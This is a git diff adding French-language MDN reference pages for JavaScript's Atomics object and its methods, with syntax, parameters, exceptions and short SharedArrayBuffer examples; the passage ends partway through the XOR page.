diff --git a/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.html b/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.html new file mode 100644 index 0000000000..bb470fa343 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.html @@ -0,0 +1,87 @@ +--- +title: Atomics.compareExchange() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/compareExchange +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/compareExchange +--- +
{{JSRef}}
+ +

La méthode statique Atomics.compareExchange() échange une valeur d'un tableau à un emplacement donné si la valeur qui était dans le tableau correspond à une valeur donnée. Cette méthode renvoie l'ancienne valeur à cet emplacement, qu'il y ait eu remplacement ou non. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-compareexchange.html")}}
+ + + +

Syntaxe

+ +
Atomics.compareExchange(typedArray, index, valeurAttendue, valeurRemplacement)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typedArray à laquelle on veut échanger les valeurs.
+
valeurAttendue
+
La valeur avec laquelle on teste l'égalité.
+
valeurRemplacement
+
Le nombre qu'on souhaite placer dans le tableau si l'ancienne valeur est égale avec valeurAttendue.
+
+ +

Valeur de retour

+ +

L'ancienne valeur présente à typedArray[index].

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 7;
+
+Atomics.compareExchange(ta, 0, 7, 12); // renvoie 7, l'ancienne valeur
+Atomics.load(ta, 0);                   // 12
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.compareexchange', 'Atomics.compareExchange')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.compareExchange")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.exchange()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.html b/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.html new file mode 100644 index 0000000000..6c73556862 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.html @@ -0,0 +1,84 @@ +--- +title: Atomics.exchange() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/exchange +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/exchange +--- +
{{JSRef}}
+ +

La méthode statique Atomics.exchange() permet d'enregistrer une valeur à une position donnée d'un tableau et de renvoyer l'ancienne valeur qui était contenue dans le tableau. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-exchange.html")}}
+ + + +

Syntaxe

+ +
Atomics.exchange(typedArray, index, valeur)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position dans le tableau typedArray à laquelle on veut placer valeur.
+
valeur
+
Le nombre qu'on souhaite échanger.
+
+ +

Valeur de retour

+ +

L'ancienne valeur qui était contenue à (typedArray[index]).

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.exchange(ta, 0, 12);  // renvoie 0, l'ancienne valeur
+Atomics.load(ta, 0);          // 12
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-atomics.exchange', 'Atomics.exchange')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.exchange")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.compareExchange()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/index.html b/files/fr/web/javascript/reference/global_objects/atomics/index.html new file mode 100644 index 0000000000..6ca2de61b4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/index.html @@ -0,0 +1,118 @@ +--- +title: Atomics +slug: Web/JavaScript/Reference/Objets_globaux/Atomics +tags: + - JavaScript + - Mémoire partagée + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics +--- +
{{JSRef}}
+ +

L'objet Atomics fournit des opérations atomiques sous la forme de méthodes statiques. Celles-ci sont utilisées avec les objets {{jsxref("SharedArrayBuffer")}}.

+ +

Les opérations atomiques sont installées sur un module Atomics. À la différence des autres objets globaux, Atomics n'est pas un constructeur. Pour cette raison, il ne peut être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new")}} et il ne peut pas être appelé comme une fonction. Les propriétés et les méthodes d'Atomics sont statiques (Atomics fonctionne ainsi comme l'objet {{jsxref("Math")}}).

+ +

Propriétés

+ +
+
Atomics[Symbol.toStringTag]
+
+

La valeur de cette propriété vaut "Atomics".

+
+
+ +

Méthodes

+ +

Opérations atomiques

+ +

Lorsque la mémoire est partagée, plusieurs threads peuvent lire et écrire sur les mêmes données en mémoire. Les opérations atomiques permettent de s'assurer que des valeurs prévisibles sont écrites et lues, que les opérations sont finies avant que la prochaine débute et que les opérations ne sont pas interrompues.

+ +
+
{{jsxref("Atomics.add()")}}
+
Cette méthode ajoute la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
+
{{jsxref("Atomics.and()")}}
+
Cette méthode calcule un ET binaire sur la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
+
{{jsxref("Atomics.compareExchange()")}}
+
Cette méthode stocke la valeur fournie à la position indiquée dans le tableau si elle est égale à une valeur donnée. Elle renvoie l'ancienne valeur.
+
{{jsxref("Atomics.exchange()")}}
+
Cette méthode stocke la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur.
+
+ +
+
{{jsxref("Atomics.load()")}}
+
Cette méthode renvoie la valeur à la position indiquée dans le tableau.
+
{{jsxref("Atomics.or()")}}
+
Cette méthode calcule un OU binaire entre la valeur fournie et la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
+
{{jsxref("Atomics.store()")}}
+
Cette méthode stocke une valeur à une position indiquée dans le tableau. Elle renvoie la valeur.
+
{{jsxref("Atomics.sub()")}}
+
Cette méthode soustrait la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était contenue à cette position.
+
{{jsxref("Atomics.xor()")}}
+
Cette méthode calcule un OU exclusif binaire sur une position donnée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
+
+ +

Attente et notification (wait et notify)

+ +

Le méthodes wait() et notify() sont basées sur les futex Linux (selon le vocabulaire employé sur Linux où ça signifie « fast user-space mutex » ou encore « mutex rapide pour l'espace utilisateur ») fournissent des outils pour attendre jusqu'à ce qu'une condition donnée soit vérifiée. Généralement ces méthodes sont utilisées pour bloquer des opérations.

+ +
+
{{jsxref("Atomics.wait()")}}
+
Cette méthode vérifie qu'une position donnée du tableau contient bien une valeur donnée puis dort ou expire. Elle renvoie une des chaînes suivantes "ok", "not-equal", "timed-out". Si l'agent appelant ne permet pas d'attente, cela lèvera une exception Error (la plupart des navigateurs ne permettront pas que futexWait() soit utilisé sur le thread principal du navigateur).
+
{{jsxref("Atomics.notify()")}}
+
Cette méthode notifient les agents qui attendent dans la file d'attente à une position donnée. Elle renvoie le nombre d'agents notifiés.
+
{{jsxref("Atomics.isLockFree()")}}
+
Une primitive d'optimisation qui peut être utilisée afin de déterminer s'il faut utiliser des verrous (locks) ou des opérations atomiques. Elle renvoie true si la taille donnée est l'une des propriétés BYTES_PER_ELEMENT des types TypedArray et qu'on peut donc implémenter l'opération de façon atomique plutôt que d'utiliser un verrou.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}}{{Spec2('ESDraft')}} 
{{SpecName('ES8', '#sec-atomics-object', 'Atomics')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics")}}

+ +

Notes de compatibilité

+ +

Avant Firefox 48 {{geckoRelease(48)}}, les noms les plus récents et la sémantique la plus récente n'étaient pas encore implémentés. Les changements qui ont eu lieu entre la version 46 et la version 48 de Firefox sont :

+ +
    +
  • Les méthodes Atomics.futexWakeOrRequeue() et Atomics.fence() sont désormais complètement retirées (cf. {{bug(1259544)}} et {{bug(1225028)}}).
    • +
  • Les méthodes {{jsxref("Atomics.wait()")}} et  {{jsxref("Atomics.wake()")}} qui étaient nommées Atomics.futexWait() ete Atomics.futexWake() (cf. {{bug(1260910)}}). Les anciens noms seront  définitivement supprimés à partir de la version 49 ({{bug(1262062)}}). Atomics.wake() a été renommé en Atomics.notify() à partir de la version 63.
    • +
  • Les propriétés Atomics.OK, Atomics.TIMEDOUT, Atomics.NOTEQUAL ont été retirées. La méthode {{jsxref("Atomics.wait()")}} renvoie désormais les chaînes de caractères "ok", "timed-out" ou "not-equal" (cf. {{bug(1260835)}}).
    • +
  • +

    Le paramètre count de la méthode {{jsxref("Atomics.wake()")}} a été modifié, sa valeur par défaut est désormais +Infinity et non 0 ({{bug(1253350)}}).

    +
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/atomics/islockfree/index.html b/files/fr/web/javascript/reference/global_objects/atomics/islockfree/index.html new file mode 100644 index 0000000000..90fcd68c97 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/islockfree/index.html @@ -0,0 +1,74 @@ +--- +title: Atomics.isLockFree() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/isLockFree +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/isLockFree +--- +
{{JSRef}}
+ +

La méthode statique Atomics.isLockFree() est utilisée afin de déterminer si on doit utiliser des verrous (locks) ou des opérations atomiques. Elle renvoie true si la taille donnée correspond à une des propriétés BYTES_PER_ELEMENT d'un des types TypedArray.

+ +
{{EmbedInteractiveExample("pages/js/atomics-islockfree.html")}}
+ + + +

Syntaxe

+ +
Atomics.isLockFree(taille)
+
+ +

Paramètres

+ +
+
taille
+
La taille en octets qu'on souhaite vérifier.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} indiquant si l'opération se déroule sans verrou.

+ +

Exemples

+ +
Atomics.isLockFree(1); // true
+Atomics.isLockFree(2); // true
+Atomics.isLockFree(3); // false
+Atomics.isLockFree(4); // true
+Atomics.isLockFree(5); // false
+Atomics.isLockFree(6); // false
+Atomics.isLockFree(7); // false
+Atomics.isLockFree(8); // true
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.islockfree', 'Atomics.isLockFree')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.isLockFree")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/load/index.html b/files/fr/web/javascript/reference/global_objects/atomics/load/index.html new file mode 100644 index 0000000000..285abde89f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/load/index.html @@ -0,0 +1,82 @@ +--- +title: Atomics.load() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/load +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/load +--- +
{{JSRef}}
+ +

La méthode statique Atomics.load() renvoie une valeur située à une position donnée du tableau.

+ +
{{EmbedInteractiveExample("pages/js/atomics-load.html")}}
+ + + +

Syntaxe

+ +
Atomics.load(typedArray, index)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typedArray qu'on souhaite charger.
+
+ +

Valeur de retour

+ +

La valeur à la position indiquée (typedArray[index]).

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.add(ta, 0, 12);
+Atomics.load(ta, 0); // 12
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.load', 'Atomics.load')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.load")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.store()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/notify/index.html b/files/fr/web/javascript/reference/global_objects/atomics/notify/index.html new file mode 100644 index 0000000000..6c2c3ebc47 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/notify/index.html @@ -0,0 +1,94 @@ +--- +title: Atomics.notify() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/notify +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/notify +--- +
{{JSRef}}
+ +

La méthode statique Atomics.notify() permet de réveiller des agents dormants qui sont dans la file d'attente.

+ +
+

Note : Cette opération ne fonctionne que sur un tableau typé partagé de type {{jsxref("Int32Array")}}.

+
+ +

Syntaxe

+ +
Atomics.notify(typedArray, index, count)
+
+ +

Paramètres

+ +
+
typedArray
+
Un table typé partagé de type {{jsxref("Int32Array")}}.
+
index
+
La position sur le tableau typedArray pour laquelle réveiller les agents.
+
count
+
Le nombre d'agents dormants à réveiller.
+
+ +

Valeur de retour

+ +

Le nombre d'agents réveillés.

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas un tableau typé partagé de type{{jsxref("Int32Array")}}.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +

Soit un tableau typé partagé Int32Array:

+ +
var sab = new SharedArrayBuffer(1024);
+var int32 = new Int32Array(sab);
+
+ +

Un thread de lecture est en sommeil et surveille l'emplacement 0 et s'attend à ce que la valeur soit 0. Tant que cette condition est vérifiée, l'exécution n'ira pas plus loin. Lorsque le thread d'écriture a enregistré une nouvelle valeur, le thread de lecture sera réveillé par le thread d'écriture et renverra la nouvelle valeur (123).

+ +
Atomics.wait(int32, 0, 0);
+console.log(int32[0]); // 123
+ +

Un thread d'écriture stocke une nouvelle valeur et notifie le thread de lecture une fois que la valeur a bien été écrite :

+ +
console.log(int32[0]); // 0;
+Atomics.store(int32, 0, 123);
+Atomics.notify(int32, 0, 1);
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-atomics.notify', 'Atomics.notify')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.notify")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.wait()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/or/index.html b/files/fr/web/javascript/reference/global_objects/atomics/or/index.html new file mode 100644 index 0000000000..fa53f24777 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/or/index.html @@ -0,0 +1,130 @@ +--- +title: Atomics.or() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/or +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/or +--- +
{{JSRef}}
+ +

La méthode statique Atomics.or() calcule le résultat d'un OU binaire entre une valeur donnée et une valeur du tableau typé et y place le résultat obtenu. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-or.html")}}
+ + + +

Syntaxe

+ +
Atomics.or(typedArray, index, value)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typedArray sur laquelle calculer le OU binaire.
+
valeur
+
Le nombre avec lequel calculer le OU binaire.
+
+ +

Valeur de retour

+ +

L'ancienne valeur contenue à l'emplacement du tableau (typedArray[index]).

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Description

+ +

L'opération binaire OU renvoie 1 si a ou b valent 1. La table de vérité de cette opération est :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba | b
000
011
101
111
+ +

Par exemple, un OU binaire appliqué entre 5 et 1 (5 | 1) renvoie 0101, ce qui correspond à 5 en notation décimale.

+ +
5  0101
+1  0001
+   ----
+5  0101
+
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 2;
+
+Atomics.or(ta, 0, 1); // renvoie 2, l'ancienne valeur
+Atomics.load(ta, 0);  // 3
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.or', 'Atomics.or')}}{{Spec2('ESDraft')}}Définition initiale avec 2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.or")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.and()")}}
    • +
  • {{jsxref("Atomics.xor()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/store/index.html b/files/fr/web/javascript/reference/global_objects/atomics/store/index.html new file mode 100644 index 0000000000..f5b85b974c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/store/index.html @@ -0,0 +1,90 @@ +--- +title: Atomics.store() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/store +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/store +--- +
{{JSRef}}
+ +

La méthode statique Atomics.store() enregistre une valeur donnée à un emplacement donné du tableau partagé et renvoie cette valeur.

+ +
{{EmbedInteractiveExample("pages/js/atomics-store.html")}}
+ + + +

Syntaxe

+ +
Atomics.store(typedArray, index, valeur)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typedArray à laquelle on souhaite stocker la valeur.
+
valeur
+
Le nombre à enregistrer.
+
+ +

Valeur de retour

+ +

La valeur qui a été enregistrée.

+ +

Exceptions

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +
var buffer = new ArrayBuffer(4);         // Buffer classique
+var float32 = new Float32Array(buffer);  // Nombre flottant
+var uint32 = new Uint32Array(buffer);    // Représentation IEEE754
+
+float32[0] = 0.5;
+console.log("0x" + uint32[0].toString(16));
+
+uint32[0] = 0x3f000000;   /// Représentation sur 32 bits de 0.5 (IEEE754)
+console.log(float32[0]);
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.store', 'Atomics.store')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.store")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.load()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/sub/index.html b/files/fr/web/javascript/reference/global_objects/atomics/sub/index.html new file mode 100644 index 0000000000..3c1dc879a0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/sub/index.html @@ -0,0 +1,86 @@ +--- +title: Atomics.sub() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/sub +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub +--- +
{{JSRef}}
+ +

La méthode statique Atomics.sub() permet de soustraire une valeur donnée à une position donnée du tableau partagé. Elle renvoie l'ancienne valeur qui était contenue dans le tableau avant l'opération. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-sub.html")}}
+ + + +

Syntaxe

+ +
Atomics.sub(typedArray, index, valeur)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typé typedArray à laquelle on veut soustraire valeur.
+
valeur
+
La quantité qu'on souhaite soustraire.
+
+ +

Valeur de retour

+ +

L'ancienne valeur qui était contenue à (typedArray[index]).

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 48;
+
+Atomics.sub(ta, 0, 12); // renvoie 48, l'ancienne valeur
+Atomics.load(ta, 0);    // 36
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.sub', 'Atomics.sub')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.sub")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.add()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/wait/index.html b/files/fr/web/javascript/reference/global_objects/atomics/wait/index.html new file mode 100644 index 0000000000..430cafd19a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/wait/index.html @@ -0,0 +1,96 @@ +--- +title: Atomics.wait() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/wait +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/wait +--- +
{{JSRef}}
+ +

La méthode statique Atomics.wait() permet de vérifier qu'un emplacement d'un tableau {{jsxref("Int32Array")}} contient toujours une valeur donnée et, si c'est le cas, l'agent dort en attendant un réveil ou un délai d'expiration. La méthode renvoie une chaîne qui vaut "ok", "not-equal" ou "timed-out".

+ +
+

Note : Cette opération ne fonctionne qu'avec un tableau typé partagé {{jsxref("Int32Array")}} et peut ne pas être autorisée sur le thread principal.

+
+ +

Syntaxe

+ +
Atomics.wait(typedArray, index, valeur[, timeout])
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé partagé de type {{jsxref("Int32Array")}}.
+
index
+
La position du tableau typé typedArray sur laquelle on attend un changement.
+
valeur
+
La valeur attendue qu'on souhaite tester.
+
timeout {{optional_inline}}
+
Le temps à attendre pour le changement de valeur, exprimé en millisecondes. La valeur par défaut est {{jsxref("Infinity")}}.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères ({{jsxref("String")}} qui vaut "ok", "not-equal" ou "timed-out" selon le cas.

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas un tableau typé partagé de type {{jsxref("Int32Array")}}.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +

Soit un tableau typé partagé Int32Array:

+ +
var sab = new SharedArrayBuffer(1024);
+var int32 = new Int32Array(sab);
+
+ +

Un thread de lecture est en sommeille et surveille l'emplacement 0 et s'attend à ce que la valeur soit 0. Tant que cette condition est vérifiée, l'exécution n'ira pas plus loin. Lorsque le thread d'écriture a enregistré une nouvelle valeur, le thread de lecture sera notifié par le thread d'écriture et renverra la nouvelle valeur (123).

+ +
Atomics.wait(int32, 0, 0);
+console.log(int32[0]); // 123
+ +

Un thread d'écriture stocke une nouvelle valeur et notifie le thread de lecture une fois que la valeur a bien été écrite :

+ +
console.log(int32[0]); // 0;
+Atomics.store(int32, 0, 123);
+Atomics.wake(int32, 0, 1);
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.wait', 'Atomics.wait')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.wait")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.notify()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/xor/index.html b/files/fr/web/javascript/reference/global_objects/atomics/xor/index.html new file mode 100644 index 0000000000..7aea0aef24 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/xor/index.html @@ -0,0 +1,130 @@ +--- +title: Atomics.xor() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/xor +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/xor +--- +
{{JSRef}}
+ +

La méthode statique Atomics.xor() calcule le résultat d'un OU exclusif (XOR) binaire entre une valeur donnée et une valeur du tableau partagé à un emplacement donné. Elle renvoie l'ancienne valeur qui était contenue à cette position. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-xor.html")}}
+ + + +

Syntaxe

+ +
Atomics.xor(typedArray, index, valeur)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typedArray à laquelle calculer le OU exclusif binaire.
+
valeur
+
La valeur avec laquelle on souhaite calculer le OU exclusif binaire.
+
+ +

Valeur de retour

+ +

L'ancienne valeur située à cet emplacement du tableau (typedArray[index]).

+ +

Exceptions

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Description

+ +

L'opération binaire OU exclusif (XOR) renvoie 1 si a et b sont différents. La table de vérité correspondante est :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba ^ b
